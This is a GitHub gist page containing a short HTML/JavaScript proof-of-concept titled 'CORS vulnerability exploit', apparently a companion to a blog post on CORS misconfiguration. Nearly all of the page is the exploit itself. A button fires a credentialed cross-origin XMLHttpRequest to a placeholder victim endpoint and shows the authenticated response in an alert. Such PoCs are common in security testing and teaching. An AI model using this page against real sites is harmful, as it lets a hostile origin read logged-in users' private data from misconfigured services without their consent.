Created
August 13, 2020 14:17
-
-
Save enderphan94/3c1443118981d21a8e83b467de4e51dd to your computer and use it in GitHub Desktop.
CORS vulnerability exploit #cors https://enderspub.kubertu.com/cors
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<h2>CORS Exploit</h2> | |
<p>https://gist.github.com/enderphan94</p> | |
<div id="demo"> | |
<button type="button" onclick="cors()">Exploit</button> | |
</div> | |
<script> | |
function cors() { | |
var xhr = new XMLHttpRequest(); | |
xhr.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
document.getElementById("demo").innerHTML = alert(this.responseText); | |
} | |
}; | |
xhr.open("GET", | |
"https://victim.example.com/endpoint", true); | |
xhr.withCredentials = true; | |
xhr.send(); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment